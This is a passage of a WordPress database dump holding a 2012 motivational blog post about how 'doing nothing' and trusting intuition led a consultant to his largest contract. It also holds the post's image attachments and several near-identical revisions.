work, I realized that I really wasn''t enthused about that and didn''t find the energy to do that day to day. So, I centered myself and asked, "What if this is for me?"</em></strong>\r\n\r\nSomewhere in the panic of not having control over his future by not knowing where his next gig was coming from, he stopped and listened to his inner voice asking the question:\r\n\r\n"What if this is for me?"\r\n\r\nHe went on to share that because he had the available time, why not get into a few projects that were an important part of his future but not directly related to finding a new client. One of those projects was writing a book (no small under-taking)!  He continues his story:\r\n\r\n<strong><em>“The process of writing my book has lead to all kinds of opportunities I would have never thought of. And the biggest amount of work with a client company I''ve had to date showed up. I just successfully negotiated by far the largest contract of my career. I believe that happened because I let go of any need to hustle up work. I let go of any need to push to make some money (at least for a while). I didn''t really set out to let go of working for money, it just sort of happened as I put my full energy into the book”.</em></strong>\r\n\r\nThink about that for a minute. Here’s a person who needs clients and cash flow. By any measure the “right” thing to do was put more energy into selling a new client. Instead, following his intuition (which had other plans), led him to put the focus on something completely unrelated to selling in new business.\r\n<h2>As a result of stepping back and taking no action on the reasonable course– my colleague secured the largest contract of his consulting career!</h2>\r\n<strong></strong>Note to self: chill, relax, be open, think bigger! Here’s the “aha moment” and take away experience my colleague shared with me:\r\n\r\n<strong><em>“Once again I was reminded, and validated, that this is a benevolent universe designed to work. What I need to do is show up, recognize what shows up, cooperate and participate with that, let it go when it''s time and repeat the process.</em></strong>\r\n\r\n<strong><em>The timing hasn''t necessarily been mine. But time and again I''ve seen (usually in hindsight) that the timing and outcome was much better than had it gone "my way". This process has required huge amounts of trust and faith, but after a number of outcomes that justified the trust and faith, I can now say that I moved into a knowing (beyond trust and faith). I may not always be in the knowing but I will never forget that there is such a place and I''ve experienced it”</em></strong>\r\n\r\nNext time you’re thinking about making the right moves doing things “your way” to solve a particular business challenge, step back, do nothing, listen to your intuition ask you the all important question:\r\n\r\n<strong>"What if this (circumstance) is for me?"</strong>', 'How doing nothing creates opportunity.', 0, '', 'publish', 'open', 'open', '', 'how-doing-nothing-creates-opportunity', '', '', '2012-02-21 15:52:32', '2012-02-21 22:52:32', '', 0, 'http://www.whitehotcenter.com/?p=1927', 0, 'post', '', 0),
(1928, 2, '2012-02-21 15:30:09', '2012-02-21 22:30:09', '', 'doing nothing wins more business', 0, '', 'inherit', 'open', 'open', '', 'hammock-2', '', '', '2012-02-21 15:30:09', '2012-02-21 22:30:09', '', 1927, 'http://www.whitehotcenter.com/wp-content/uploads/2012/02/hammock.jpg', 0, 'attachment', 'image/jpeg', 0),
(1929, 2, '2012-02-21 15:31:20', '2012-02-21 22:31:20', '', 'hammock', 0, '', 'inherit', 'open', 'open', '', 'hammock-3', '', '', '2012-02-21 15:31:20', '2012-02-21 22:31:20', '', 1927, 'http://www.whitehotcenter.com/wp-content/uploads/2012/02/hammock1.jpg', 0, 'attachment', 'image/jpeg', 0),
(1930, 2, '2012-02-21 15:34:48', '2012-02-21 22:34:48', '<img class="alignnone size-full wp-image-1929" title="hammock" src="http://whc.fbdev.org/wp-content/uploads/2012/02/hammock1.jpg" alt="" width="495" height="388" />\n<h1><span style="color: #808080;">In the quest for achievement and getting your business to the next level, it’s easy to obsess about if you’re doing the right things. Sometimes doing nothing at all can create more business.</span></h1>\nThe conventional viewpoint is the path to accomplishment and achievement is the result of consistently doing many things right. True enough, success is the result of productive actions–eventually. However, getting there (where ever that is for you) is not always a nice straight line. The road to any accomplishment can have many detours and side trips. After a period of time, and experiencing no results, it gets more palpable to believe you might be wasting your time and resources barking up the wrong tree or digging holes for gold in the wrong places.\n\nHow do you know what activities are on course or off course toward your goal of accomplishment? You don’t know and you can’t know. And that’s where your intuition comes into play–the part of you that knows the unknowable yet trusts the process anyway. Maybe no action at all is the effective thing to do.\n\nLet’s put this idea of “no action” into a business context by sharing a story with you that illustrates what we’re talking about here. Recently, a management consultant colleague of mine was sharing with me the severe downturn in his business when he really wasn’t sure where his next client was coming from. Here’s the story:\n\n<strong><em>“In the fall of 2008 everything on my calendar cancelled as the world went into financial panic. After about 15 minutes of, "Oh shit…!!" and thinking I needed to hustle up some work, I realized that I really wasn''t enthused about that and didn''t find the energy to do that day to day. So, I centered myself and asked, "What if this is for me?"</em></strong>\n\nSomewhere in the panic of not having control over his future by not knowing where his next gig was coming from, he stopped and listened to his inner voice asking the question:\n\n"What if this is for me?"\n\nHe went on to share that because he had the available time, why not get into a few projects that were an important part of his future but not directly related to finding a new client. One of those projects was writing a book (no small under-taking)!  He continues his story:\n\n<strong><em>“The process of writing my book has lead to all kinds of opportunities I would have never thought of. And the biggest amount of work with a client company I''ve had to date showed up. I just successfully negotiated by far the largest contract of my career. I believe that happened because I let go of any need to hustle up work. I let go of any need to push to make some money (at least for a while). I didn''t really set out to let go of working for money, it just sort of happened as I put my full energy into the book”.</em></strong>\n\nThink about that for a minute. Here’s a person who needs clients and cash flow. By any measure the “right” thing to do was put more energy into selling a new client. Instead, following his intuition (which had other plans), led him to put the focus on something completely unrelated to selling in new business.\n<h2>As a result of stepping back and taking no action on the reasonable course– my colleague secured the largest contract of his consulting career!</h2>\n<strong></strong>Note to self: chill, relax, be open, think bigger! Here’s the “aha moment” and take away experience my colleague shared with me:\n\n“Once again I was reminded, and validated, that this is a benevolent universe designed to work. What I need to do is show up, recognize what shows up, cooperate and participate with that, let it go when it''s time and repeat the process.\n\n<em>The timing hasn''t necessarily been mine. But time and again I''ve seen (usually in hindsight) that the timing and outcome was much better than had it gone "my way". This process has required huge amounts of trust and faith, but after a number of outcomes that justified the trust and faith, I can now say that I moved into a knowing (beyond trust and faith). I may not always be in the knowing but I will never forget that there is such a place and I''ve experienced it”</em>\n\n&nbsp;\n\nNext time you’re thinking about making the right moves doing things “your way” to solve a particular business challenge, step back, do nothing, listen to your intuition ask you the all important question:\n\n&nbsp;\n\n<strong>"What if this (circumstance) is for me?"</strong>', 'How doing nothing creates more business.', 0, '', 'inherit', 'open', 'open', '', '1927-revision', '', '', '2012-02-21 15:34:48', '2012-02-21 22:34:48', '', 1927, 'http://www.whitehotcenter.com/2012/02/1927-revision/', 0, 'revision', '', 0),
(1931, 2, '2012-02-21 15:36:17', '2012-02-21 22:36:17', '<img class="alignnone size-full wp-image-1929" title="hammock" src="http://whc.fbdev.org/wp-content/uploads/2012/02/hammock1.jpg" alt="" width="495" height="388" />\n<h1><span style="color: #808080;">In the quest for achievement and getting your business to the next level, it’s easy to obsess about if you’re doing the right things. Sometimes doing nothing at all can create more business.</span></h1>\nThe conventional viewpoint is the path to accomplishment and achievement is the result of consistently doing many things right. True enough, success is the result of productive actions–eventually. However, getting there (where ever that is for you) is not always a nice straight line. The road to any accomplishment can have many detours and side trips. After a period of time, and experiencing no results, it gets more palpable to believe you might be wasting your time and resources barking up the wrong tree or digging holes for gold in the wrong places.\n\nHow do you know what activities are on course or off course toward your goal of accomplishment? You don’t know and you can’t know. And that’s where your intuition comes into play–the part of you that knows the unknowable yet trusts the process anyway. Maybe no action at all is the effective thing to do.\n\nLet’s put this idea of “no action” into a business context by sharing a story with you that illustrates what we’re talking about here. Recently, a management consultant colleague of mine was sharing with me the severe downturn in his business when he really wasn’t sure where his next client was coming from. Here’s the story:\n\n<strong><em>“In the fall of 2008 everything on my calendar cancelled as the world went into financial panic. After about 15 minutes of, "Oh shit…!!" and thinking I needed to hustle up some work, I realized that I really wasn''t enthused about that and didn''t find the energy to do that day to day. So, I centered myself and asked, "What if this is for me?"</em></strong>\n\nSomewhere in the panic of not having control over his future by not knowing where his next gig was coming from, he stopped and listened to his inner voice asking the question:\n\n"What if this is for me?"\n\nHe went on to share that because he had the available time, why not get into a few projects that were an important part of his future but not directly related to finding a new client. One of those projects was writing a book (no small under-taking)!  He continues his story:\n\n<strong><em>“The process of writing my book has lead to all kinds of opportunities I would have never thought of. And the biggest amount of work with a client company I''ve had to date showed up. I just successfully negotiated by far the largest contract of my career. I believe that happened because I let go of any need to hustle up work. I let go of any need to push to make some money (at least for a while). I didn''t really set out to let go of working for money, it just sort of happened as I put my full energy into the book”.</em></strong>\n\nThink about that for a minute. Here’s a person who needs clients and cash flow. By any measure the “right” thing to do was put more energy into selling a new client. Instead, following his intuition (which had other plans), led him to put the focus on something completely unrelated to selling in new business.\n<h2>As a result of stepping back and taking no action on the reasonable course– my colleague secured the largest contract of his consulting career!</h2>\n<strong></strong>Note to self: chill, relax, be open, think bigger! Here’s the “aha moment” and take away experience my colleague shared with me:\n\n<strong><em>“Once again I was reminded, and validated, that this is a benevolent universe designed to work. What I need to do is show up, recognize what shows up, cooperate and participate with that, let it go when it''s time and repeat the process.</em></strong>\n\n<strong><em>The timing hasn''t necessarily been mine. But time and again I''ve seen (usually in hindsight) that the timing and outcome was much better than had it gone "my way". This process has required huge amounts of trust and faith, but after a number of outcomes that justified the trust and faith, I can now say that I moved into a knowing (beyond trust and faith). I may not always be in the knowing but I will never forget that there is such a place and I''ve experienced it”</em></strong>\n\nNext time you’re thinking about making the right moves doing things “your way” to solve a particular business challenge, step back, do nothing, listen to your intuition ask you the all important question:\n\n<strong>"What if this (circumstance) is for me?"</strong>', 'How doing nothing creates more business.', 0, '', 'inherit', 'open', 'open', '', '1927-revision-2', '', '', '2012-02-21 15:36:17', '2012-02-21 22:36:17', '', 1927, 'http://www.whitehotcenter.com/2012/02/1927-revision-2/', 0, 'revision', '', 0),
(1932, 2, '2012-02-21 15:38:09', '2012-02-21 22:38:09', '<img class="alignnone size-full wp-image-1929" title="hammock" src="http://whc.fbdev.org/wp-content/uploads/2012/02/hammock1.jpg" alt="" width="495" height="388" />\n<h1><span style="color: #808080;">In the quest for achievement and getting your business to the next level, it’s easy to obsess about if you’re doing the right things. Sometimes doing nothing at all can create more business.</span></h1>\nThe conventional viewpoint is the path to accomplishment and achievement is the result of consistently doing many things right. True enough, success is the result of productive actions–eventually. However, getting there (where ever that is for you) is not always a nice straight line. The road to any accomplishment can have many detours and side trips. After a period of time, and experiencing no results, it gets more palpable to believe you might be wasting your time and resources barking up the wrong tree or digging holes for gold in the wrong places.\n\nHow do you know what activities are on course or off course toward your goal of accomplishment? You don’t know and you can’t know. And that’s where your intuition comes into play–the part of you that knows the unknowable yet trusts the process anyway. Maybe no action at all is the effective thing to do.\n\nLet’s put this idea of “no action” into a business context by sharing a story with you that illustrates what we’re talking about here. Recently, a management consultant colleague of mine was sharing with me the severe downturn in his business when he really wasn’t sure where his next client was coming from. Here’s the story:\n\n<strong><em>“In the fall of 2008 everything on my calendar cancelled as the world went into financial panic. After about 15 minutes of, "Oh shit…!!" and thinking I needed to hustle up some work, I realized that I really wasn''t enthused about that and didn''t find the energy to do that day to day. So, I centered myself and asked, "What if this is for me?"</em></strong>\n\nSomewhere in the panic of not having control over his future by not knowing where his next gig was coming from, he stopped and listened to his inner voice asking the question:\n\n"What if this is for me?"\n\nHe went on to share that because he had the available time, why not get into a few projects that were an important part of his future but not directly related to finding a new client. One of those projects was writing a book (no small under-taking)!  He continues his story:\n\n<strong><em>“The process of writing my book has lead to all kinds of opportunities I would have never thought of. And the biggest amount of work with a client company I''ve had to date showed up. I just successfully negotiated by far the largest contract of my career. I believe that happened because I let go of any need to hustle up work. I let go of any need to push to make some money (at least for a while). I didn''t really set out to let go of working for money, it just sort of happened as I put my full energy into the book”.</em></strong>\n\nThink about that for a minute. Here’s a person who needs clients and cash flow. By any measure the “right” thing to do was put more energy into selling a new client. Instead, following his intuition (which had other plans), led him to put the focus on something completely unrelated to selling in new business.\n<h2>As a result of stepping back and taking no action on the reasonable course– my colleague secured the largest contract of his consulting career!</h2>\n<strong></strong>Note to self: chill, relax, be open, think bigger! Here’s the “aha moment” and take away experience my colleague shared with me:\n\n<strong><em>“Once again I was reminded, and validated, that this is a benevolent universe designed to work. What I need to do is show up, recognize what shows up, cooperate and participate with that, let it go when it''s time and repeat the process.</em></strong>\n\n<strong><em>The timing hasn''t necessarily been mine. But time and again I''ve seen (usually in hindsight) that the timing and outcome was much better than had it gone "my way". This process has required huge amounts of trust and faith, but after a number of outcomes that justified the trust and faith, I can now say that I moved into a knowing (beyond trust and faith). I may not always be in the knowing but I will never forget that there is such a place and I''ve experienced it”</em></strong>\n\nNext time you’re thinking about making the right moves doing things “your way” to solve a particular business challenge, step back, do nothing, listen to your intuition ask you the all important question:\n\n<strong>"What if this (circumstance) is for me?"</strong>', 'How doing nothing creates more business.', 0, '', 'inherit', 'open', 'open', '', '1927-revision-3', '', '', '2012-02-21 15:38:09', '2012-02-21 22:38:09', '', 1927, 'http://www.whitehotcenter.com/2012/02/1927-revision-3/', 0, 'revision', '', 0),
(1936, 2, '2012-02-21 15:46:38', '2012-02-21 22:46:38', '<img class="alignnone size-full wp-image-1929" title="hammock" src="http://whc.fbdev.org/wp-content/uploads/2012/02/hammock1.jpg" alt="" width="495" height="388" />\r\n<h1><span style="color: #808080;">In the quest for achievement and getting your business to the next level, it’s easy to obsess about if you’re doing the right things. Sometimes doing nothing at all can create new opportunity.</span></h1>\r\nThe conventional viewpoint is the path to accomplishment and achievement is the result of consistently doing many things right. True enough, success is the result of productive actions–eventually. However, getting there (where ever that is for you) is not always a nice straight line. The road to any accomplishment can have many detours and side trips. After a period of time, and experiencing no results, it gets more palpable to believe you might be wasting your time and resources barking up the wrong tree or digging holes for gold in the wrong places.\r\n\r\nHow do you know what activities are on course or off course toward your goal of accomplishment? You don’t know and you can’t know. And that’s where your intuition comes into play–the part of you that knows the unknowable yet trusts the process anyway. Maybe no action at all is the effective thing to do.\r\n\r\nLet’s put this idea of “no action” into a business context by sharing a story with you that illustrates what we’re talking about here. Recently, a management consultant colleague of mine was sharing with me the severe downturn in his business when he really wasn’t sure where his next client was coming from. Here’s the story:\r\n\r\n<strong><em>“In the fall of 2008 everything on my calendar cancelled as the world went into financial panic. After about 15 minutes of, "Oh shit…!!" and thinking I needed to hustle up some work, I realized that I really wasn''t enthused about that and didn''t find the energy to do that day to day. So, I centered myself and asked, "What if this is for me?"</em></strong>\r\n\r\nSomewhere in the panic of not having control over his future by not knowing where his next gig was coming from, he stopped and listened to his inner voice asking the question:\r\n\r\n"What if this is for me?"\r\n\r\nHe went on to share that because he had the available time, why not get into a few projects that were an important part of his future but not directly related to finding a new client. One of those projects was writing a book (no small under-taking)!  He continues his story:\r\n\r\n<strong><em>“The process of writing my book has lead to all kinds of opportunities I would have never thought of. And the biggest amount of work with a client company I''ve had to date showed up. I just successfully negotiated by far the largest contract of my career. I believe that happened because I let go of any need to hustle up work. I let go of any need to push to make some money (at least for a while). I didn''t really set out to let go of working for money, it just sort of happened as I put my full energy into the book”.</em></strong>\r\n\r\nThink about that for a minute. Here’s a person who needs clients and cash flow. By any measure the “right” thing to do was put more energy into selling a new client. Instead, following his intuition (which had other plans), led him to put the focus on something completely unrelated to selling in new business.\r\n<h2>As a result of stepping back and taking no action on the reasonable course– my colleague secured the largest contract of his consulting career!</h2>\r\n<strong></strong>Note to self: chill, relax, be open, think bigger! Here’s the “aha moment” and take away experience my colleague shared with me:\r\n\r\n<strong><em>“Once again I was reminded, and validated, that this is a benevolent universe designed to work. What I need to do is show up, recognize what shows up, cooperate and participate with that, let it go when it''s time and repeat the process.</em></strong>\r\n\r\n<strong><em>The timing hasn''t necessarily been mine. But time and again I''ve seen (usually in hindsight) that the timing and outcome was much better than had it gone "my way". This process has required huge amounts of trust and faith, but after a number of outcomes that justified the trust and faith, I can now say that I moved into a knowing (beyond trust and faith). I may not always be in the knowing but I will never forget that there is such a place and I''ve experienced it”</em></strong>\r\n\r\nNext time you’re thinking about making the right moves doing things “your way” to solve a particular business challenge, step back, do nothing, listen to your intuition ask you the all important question:\r\n\r\n<strong>"What if this (circumstance) is for me?"</strong>', 'How doing nothing creates opportunity.', 0, '', 'inherit', 'open', 'open', '', '1927-revision-7', '', '', '2012-02-21 15:46:38', '2012-02-21 22:46:38', '', 1927, 'http://www.whitehotcenter.com/2012/02/1927-revision-7/', 0, 'revision', '', 0),
(1933, 2, '2012-02-21 15:42:19', '2012-02-21 22:42:19', '<img class="alignnone size-full wp-image-1929" title="hammock" src="http://whc.fbdev.org/wp-content/uploads/2012/02/hammock1.jpg" alt="" width="495" height="388" />\r\n<h1><span style="color: #808080;">In the quest for achievement and getting your business to the next level, it’s easy to obsess about if you’re doing the right things. Sometimes doing nothing at all can create more business opportunity.</span></h1>\r\nThe conventional viewpoint is the path to accomplishment and achievement is the result of consistently doing many things right. True enough, success is the result of productive actions–eventually. However, getting there (where ever that is for you) is not always a nice straight line. The road to any accomplishment can have many detours and side trips. After a period of time, and experiencing no results, it gets more palpable to believe you might be wasting your time and resources barking up the wrong tree or digging holes for gold in the wrong places.\r\n\r\nHow do you know what activities are on course or off course toward your goal of accomplishment? You don’t know and you can’t know. And that’s where your intuition comes into play–the part of you that knows the unknowable yet trusts the process anyway. Maybe no action at all is the effective thing to do.\r\n\r\nLet’s put this idea of “no action” into a business context by sharing a story with you that illustrates what we’re talking about here. Recently, a management consultant colleague of mine was sharing with me the severe downturn in his business when he really wasn’t sure where his next client was coming from. Here’s the story:\r\n\r\n<strong><em>“In the fall of 2008 everything on my calendar cancelled as the world went into financial panic. After about 15 minutes of, "Oh shit…!!" and thinking I needed to hustle up some work, I realized that I really wasn''t enthused about that and didn''t find the energy to do that day to day. So, I centered myself and asked, "What if this is for me?"</em></strong>\r\n\r\nSomewhere in the panic of not having control over his future by not knowing where his next gig was coming from, he stopped and listened to his inner voice asking the question:\r\n\r\n"What if this is for me?"\r\n\r\nHe went on to share that because he had the available time, why not get into a few projects that were an important part of his future but not directly related to finding a new client. One of those projects was writing a book (no small under-taking)!  He continues his story:\r\n\r\n<strong><em>“The process of writing my book has lead to all kinds of opportunities I would have never thought of. And the biggest amount of work with a client company I''ve had to date showed up. I just successfully negotiated by far the largest contract of my career. I believe that happened because I let go of any need to hustle up work. I let go of any need to push to make some money (at least for a while). I didn''t really set out to let go of working for money, it just sort of happened as I put my full energy into the book”.</em></strong>\r\n\r\nThink about that for a minute. Here’s a person who needs clients and cash flow. By any measure the “right” thing to do was put more energy into selling a new client. Instead, following his intuition (which had other plans), led him to put the focus on something completely unrelated to selling in new business.\r\n<h2>As a result of stepping back and taking no action on the reasonable course– my colleague secured the largest contract of his consulting career!</h2>\r\n<strong></strong>Note to self: chill, relax, be open, think bigger! Here’s the “aha moment” and take away experience my colleague shared with me:\r\n\r\n<strong><em>“Once again I was reminded, and validated, that this is a benevolent universe designed to work. What I need to do is show up, recognize what shows up, cooperate and participate with that, let it go when it''s time and repeat the process.</em></strong>\r\n\r\n<strong><em>The timing hasn''t necessarily been mine. But time and again I''ve seen (usually in hindsight) that the timing and outcome was much better than had it gone "my way". This process has required huge amounts of trust and faith, but after a number of outcomes that justified the trust and faith, I can now say that I moved into a knowing (beyond trust and faith). I may not always be in the knowing but I will never forget that there is such a place and I''ve experienced it”</em></strong>\r\n\r\nNext time you’re thinking about making the right moves doing things “your way” to solve a particular business challenge, step back, do nothing, listen to your intuition ask you the all important question:\r\n\r\n<strong>"What if this (circumstance) is for me?"</strong>', 'How doing nothing creates more business.', 0, '', 'inherit', 'open', 'open', '', '1927-revision-4', '', '', '2012-02-21 15:42:19', '2012-02-21 22:42:19', '', 1927, 'http://www.whitehotcenter.com/2012/02/1927-revision-4/', 0, 'revision', '', 0);
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(1934, 2, '2012-02-21 15:42:29', '2012-02-21 22:42:29', '<img class="alignnone size-full wp-image-1929" title="hammock" src="http://whc.fbdev.org/wp-content/uploads/2012/02/hammock1.jpg" alt="" width="495" height="388" />\r\n<h1><span style="color: #808080;">In the quest for achievement and getting your business to the next level, it’s easy to obsess about if you’re doing the right things. Sometimes doing nothing at all can create more business opportunity.</span></h1>\r\nThe conventional viewpoint is the path to accomplishment and achievement is the result of consistently doing many things right. True enough, success is the result of productive actions–eventually. However, getting there (where ever that is for you) is not always a nice straight line. The road to any accomplishment can have many detours and side trips. After a period of time, and experiencing no results, it gets more palpable to believe you might be wasting your time and resources barking up the wrong tree or digging holes for gold in the wrong places.\r\n\r\nHow do you know what activities are on course or off course toward your goal of accomplishment? You don’t know and you can’t know. And that’s where your intuition comes into play–the part of you that knows the unknowable yet trusts the process anyway. Maybe no action at all is the effective thing to do.\r\n\r\nLet’s put this idea of “no action” into a business context by sharing a story with you that illustrates what we’re talking about here. Recently, a management consultant colleague of mine was sharing with me the severe downturn in his business when he really wasn’t sure where his next client was coming from. Here’s the story:\r\n\r\n<strong><em>“In the fall of 2008 everything on my calendar cancelled as the world went into financial panic. After about 15 minutes of, "Oh shit…!!" and thinking I needed to hustle up some work, I realized that I really wasn''t enthused about that and didn''t find the energy to do that day to day. So, I centered myself and asked, "What if this is for me?"</em></strong>\r\n\r\nSomewhere in the panic of not having control over his future by not knowing where his next gig was coming from, he stopped and listened to his inner voice asking the question:\r\n\r\n"What if this is for me?"\r\n\r\nHe went on to share that because he had the available time, why not get into a few projects that were an important part of his future but not directly related to finding a new client. One of those projects was writing a book (no small under-taking)!  He continues his story:\r\n\r\n<strong><em>“The process of writing my book has lead to all kinds of opportunities I would have never thought of. And the biggest amount of work with a client company I''ve had to date showed up. I just successfully negotiated by far the largest contract of my career. I believe that happened because I let go of any need to hustle up work. I let go of any need to push to make some money (at least for a while). I didn''t really set out to let go of working for money, it just sort of happened as I put my full energy into the book”.</em></strong>\r\n\r\nThink about that for a minute. Here’s a person who needs clients and cash flow. By any measure the “right” thing to do was put more energy into selling a new client. Instead, following his intuition (which had other plans), led him to put the focus on something completely unrelated to selling in new business.\r\n<h2>As a result of stepping back and taking no action on the reasonable course– my colleague secured the largest contract of his consulting career!</h2>\r\n<strong></strong>Note to self: chill, relax, be open, think bigger! Here’s the “aha moment” and take away experience my colleague shared with me:\r\n\r\n<strong><em>“Once again I was reminded, and validated, that this is a benevolent universe designed to work. What I need to do is show up, recognize what shows up, cooperate and participate with that, let it go when it''s time and repeat the process.</em></strong>\r\n\r\n<strong><em>The timing hasn''t necessarily been mine. But time and again I''ve seen (usually in hindsight) that the timing and outcome was much better than had it gone "my way". This process has required huge amounts of trust and faith, but after a number of outcomes that justified the trust and faith, I can now say that I moved into a knowing (beyond trust and faith). I may not always be in the knowing but I will never forget that there is such a place and I''ve experienced it”</em></strong>\r\n\r\nNext time you’re thinking about making the right moves doing things “your way” to solve a particular business challenge, step back, do nothing, listen to your intuition ask you the all important question:\r\n\r\n<strong>"What if this (circumstance) is for me?"</strong>', 'How doing nothing creates more business.', 0, '', 'inherit', 'open', 'open', '', '1927-revision-5', '', '', '2012-02-21 15:42:29', '2012-02-21 22:42:29', '', 1927, 'http://www.whitehotcenter.com/2012/02/1927-revision-5/', 0, 'revision', '', 0),
(1935, 2, '2012-02-21 15:42:33', '2012-02-21 22:42:33', '<img class="alignnone size-full wp-image-1929" title="hammock" src="http://whc.fbdev.org/wp-content/uploads/2012/02/hammock1.jpg" alt="" width="495" height="388" />\r\n<h1><span style="color: #808080;">In the quest for achievement and getting your business to the next level, it’s easy to obsess about if you’re doing the right things. Sometimes doing nothing at all can create more business opportunity.</span></h1>\r\nThe conventional viewpoint is the path to accomplishment and achievement is the result of consistently doing many things right. True enough, success is the result of productive actions–eventually. However, getting there (where ever that is for you) is not always a nice straight line. The road to any accomplishment can have many detours and side trips. After a period of time, and experiencing no results, it gets more palpable to believe you might be wasting your time and resources barking up the wrong tree or digging holes for gold in the wrong places.\r\n\r\nHow do you know what activities are on course or off course toward your goal of accomplishment? You don’t know and you can’t know. And that’s where your intuition comes into play–the part of you that knows the unknowable yet trusts the process anyway. Maybe no action at all is the effective thing to do.\r\n\r\nLet’s put this idea of “no action” into a business context by sharing a story with you that illustrates what we’re talking about here. Recently, a management consultant colleague of mine was sharing with me the severe downturn in his business when he really wasn’t sure where his next client was coming from. Here’s the story:\r\n\r\n<strong><em>“In the fall of 2008 everything on my calendar cancelled as the world went into financial panic. After about 15 minutes of, "Oh shit…!!" and thinking I needed to hustle up some work, I realized that I really wasn''t enthused about that and didn''t find the energy to do that day to day. So, I centered myself and asked, "What if this is for me?"</em></strong>\r\n\r\nSomewhere in the panic of not having control over his future by not knowing where his next gig was coming from, he stopped and listened to his inner voice asking the question:\r\n\r\n"What if this is for me?"\r\n\r\nHe went on to share that because he had the available time, why not get into a few projects that were an important part of his future but not directly related to finding a new client. One of those projects was writing a book (no small under-taking)!  He continues his story:\r\n\r\n<strong><em>“The process of writing my book has lead to all kinds of opportunities I would have never thought of. And the biggest amount of work with a client company I''ve had to date showed up. I just successfully negotiated by far the largest contract of my career. I believe that happened because I let go of any need to hustle up work. I let go of any need to push to make some money (at least for a while). I didn''t really set out to let go of working for money, it just sort of happened as I put my full energy into the book”.</em></strong>\r\n\r\nThink about that for a minute. Here’s a person who needs clients and cash flow. By any measure the “right” thing to do was put more energy into selling a new client. Instead, following his intuition (which had other plans), led him to put the focus on something completely unrelated to selling in new business.\r\n<h2>As a result of stepping back and taking no action on the reasonable course– my colleague secured the largest contract of his consulting career!</h2>\r\n<strong></strong>Note to self: chill, relax, be open, think bigger! Here’s the “aha moment” and take away experience my colleague shared with me:\r\n\r\n<strong><em>“Once again I was reminded, and validated, that this is a benevolent universe designed to work. What I need to do is show up, recognize what shows up, cooperate and participate with that, let it go when it''s time and repeat the process.</em></strong>\r\n\r\n<strong><em>The timing hasn''t necessarily been mine. But time and again I''ve seen (usually in hindsight) that the timing and outcome was much better than had it gone "my way". This process has required huge amounts of trust and faith, but after a number of outcomes that justified the trust and faith, I can now say that I moved into a knowing (beyond trust and faith). I may not always be in the knowing but I will never forget that there is such a place and I''ve experienced it”</em></strong>\r\n\r\nNext time you’re thinking about making the right moves doing things “your way” to solve a particular business challenge, step back, do nothing, listen to your intuition ask you the all important question:\r\n\r\n<strong>"What if this (circumstance) is for me?"</strong>', 'How doing nothing creates more business.', 0, '', 'inherit', 'open', 'open', '', '1927-revision-6', '', '', '2012-02-21 15:42:33', '2012-02-21 22:42:33', '', 1927, 'http://www.whitehotcenter.com/2012/02/1927-revision-6/', 0, 'revision', '', 0),
(1937, 2, '2012-02-21 15:46:46', '2012-02-21 22:46:46', '<img class="alignnone size-full wp-image-1929" title="hammock" src="http://whc.fbdev.org/wp-content/uploads/2012/02/hammock1.jpg" alt="" width="495" height="388" />\r\n<h1><span style="color: #808080;">In the quest for achievement and getting your business to the next level, it’s easy to obsess about if you’re doing the right things. Sometimes doing nothing at all can create new opportunity.</span></h1>\r\nThe conventional viewpoint is the path to accomplishment and achievement is the result of consistently doing many things right. True enough, success is the result of productive actions–eventually. However, getting there (where ever that is for you) is not always a nice straight line. The road to any accomplishment can have many detours and side trips. After a period of time, and experiencing no results, it gets more palpable to believe you might be wasting your time and resources barking up the wrong tree or digging holes for gold in the wrong places.\r\n\r\nHow do you know what activities are on course or off course toward your goal of accomplishment? You don’t know and you can’t know. And that’s where your intuition comes into play–the part of you that knows the unknowable yet trusts the process anyway. Maybe no action at all is the effective thing to do.\r\n\r\nLet’s put this idea of “no action” into a business context by sharing a story with you that illustrates what we’re talking about here. Recently, a management consultant colleague of mine was sharing with me the severe downturn in his business when he really wasn’t sure where his next client was coming from. Here’s the story:\r\n\r\n<strong><em>“In the fall of 2008 everything on my calendar cancelled as the world went into financial panic. After about 15 minutes of, "Oh shit…!!" and thinking I needed to hustle up some work, I realized that I really wasn''t enthused about that and didn''t find the energy to do that day to day. So, I centered myself and asked, "What if this is for me?"</em></strong>\r\n\r\nSomewhere in the panic of not having control over his future by not knowing where his next gig was coming from, he stopped and listened to his inner voice asking the question:\r\n\r\n"What if this is for me?"\r\n\r\nHe went on to share that because he had the available time, why not get into a few projects that were an important part of his future but not directly related to finding a new client. One of those projects was writing a book (no small under-taking)!  He continues his story:\r\n\r\n<strong><em>“The process of writing my book has lead to all kinds of opportunities I would have never thought of. And the biggest amount of work with a client company I''ve had to date showed up. I just successfully negotiated by far the largest contract of my career. I believe that happened because I let go of any need to hustle up work. I let go of any need to push to make some money (at least for a while). I didn''t really set out to let go of working for money, it just sort of happened as I put my full energy into the book”.</em></strong>\r\n\r\nThink about that for a minute. Here’s a person who needs clients and cash flow. By any measure the “right” thing to do was put more energy into selling a new client. Instead, following his intuition (which had other plans), led him to put the focus on something completely unrelated to selling in new business.\r\n<h2>As a result of stepping back and taking no action on the reasonable course– my colleague secured the largest contract of his consulting career!</h2>\r\n<strong></strong>Note to self: chill, relax, be open, think bigger! Here’s the “aha moment” and take away experience my colleague shared with me:\r\n\r\n<strong><em>“Once again I was reminded, and validated, that this is a benevolent universe designed to work. What I need to do is show up, recognize what shows up, cooperate and participate with that, let it go when it''s time and repeat the process.</em></strong>\r\n\r\n<strong><em>The timing hasn''t necessarily been mine. But time and again I''ve seen (usually in hindsight) that the timing and outcome was much better than had it gone "my way". This process has required huge amounts of trust and faith, but after a number of outcomes that justified the trust and faith, I can now say that I moved into a knowing (beyond trust and faith). I may not always be in the knowing but I will never forget that there is such a place and I''ve experienced it”</em></strong>\r\n\r\nNext time you’re thinking about making the right moves doing things “your way” to solve a particular business challenge, step back, do nothing, listen to your intuition ask you the all important question:\r\n\r\n<strong>"What if this (circumstance) is for me?"</strong>', 'How doing nothing creates opportunity.', 0, '', 'inherit', 'open', 'open', '', '1927-revision-8', '', '', '2012-02-21 15:46:46', '2012-02-21 22:46:46', '', 1927, 'http://www.whitehotcenter.com/2012/02/1927-revision-8/', 0, 'revision', '', 0),
